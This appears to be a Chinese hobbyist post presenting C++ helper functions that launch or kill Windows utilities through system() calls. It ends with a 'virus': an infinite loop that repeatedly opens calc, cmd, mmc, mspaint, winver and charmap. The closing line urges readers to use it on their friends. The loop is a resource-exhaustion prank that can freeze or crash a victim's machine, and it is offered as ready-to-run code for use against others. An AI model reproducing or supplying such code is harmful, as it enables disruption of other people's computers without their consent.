定义三个函数:
1、show
作用:展示代码表示的文字。
用法:show();
void show()
{
color(2);
printf("notepad - 记事本\n");
printf("calc - 计算器\n");
printf("winver - 关于\"Windows\"\n");
printf("Nslookup - 默认服务器\n");
printf("cmd - 命令行\n");
printf("cleanmgr - 磁盘清理\n");
printf("charmap - 字符映射表\n");
printf("dxdiag - Dxdiag修复工具\n");
color(1);
printf("taskmgr - 任务管理器\n");
color(2);
printf("wiaacmgr - 扫描仪\n");
printf("mspaint - 画图\n");
printf("mmc - 控制台\n");
color(532);
}
2、Start
作用:打开文件
用法:Start("上述代码中的任意一个");
void Start(string same)
{
if(same == "notepad")
system("start notepad");
if(same == "calc")
system("start calc");
if(same == "winver")
system("start winver");
if(same == "Nslookup")
system("start Nslookup");
if(same == "cmd" || same == "")
system("start cmd");
if(same == "cleanmgr")
system("start cleanmgr");
if(same == "charmap")
system("start charmap");
if(same == "dxdiag")
system("start dxdiag");
if(same == "taskmgr")
system("start taskmgr");
if(same == "wiaacmgr")
system("start wiaacmgr");
if(same == "mspaint")
system("start mspaint");
if(same == "mmc")
system("start mmc");
}
3、Taskkill
作用:关闭文件
用法:Taskkill("上述代码中的任意一个");
void Taskkill(string same)
{
if(same == "notepad")
system("taskkill /im notepad");
if(same == "calc")
system("taskkill /im calc");
if(same == "winver")
system("taskkill /im winver");
if(same == "Nslookup")
system("taskkill /im Nslookup");
if(same == "cmd" || same == "")
system("taskkill /im cmd");
if(same == "cleanmgr")
system("taskkill /im cleanmgr");
if(same == "charmap")
system("taskkill /im charmap");
if(same == "dxdiag")
system("taskkill /im dxdiag");
if(same == "taskmgr")
system("taskkill /im taskmgr");
if(same == "wiaacmgr")
system("taskkill /im wiaacmgr");
if(same == "mspaint")
system("taskkill /im mspaint");
if(same == "mmc")
system("taskkill /im mmc");
}
如此病毒:
#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
#include <HeiKe.h>
using namespace std;
int main()
{
while(true * true + 1 * 2 / 3)
{
Start("calc");
Start("cmd");
Start("mmc");
Start("mspaint");
Start("winver");
Start("charmap");
}
return 0;
}
快去媜你的好朋友吧~~~~~~~~~~~~~~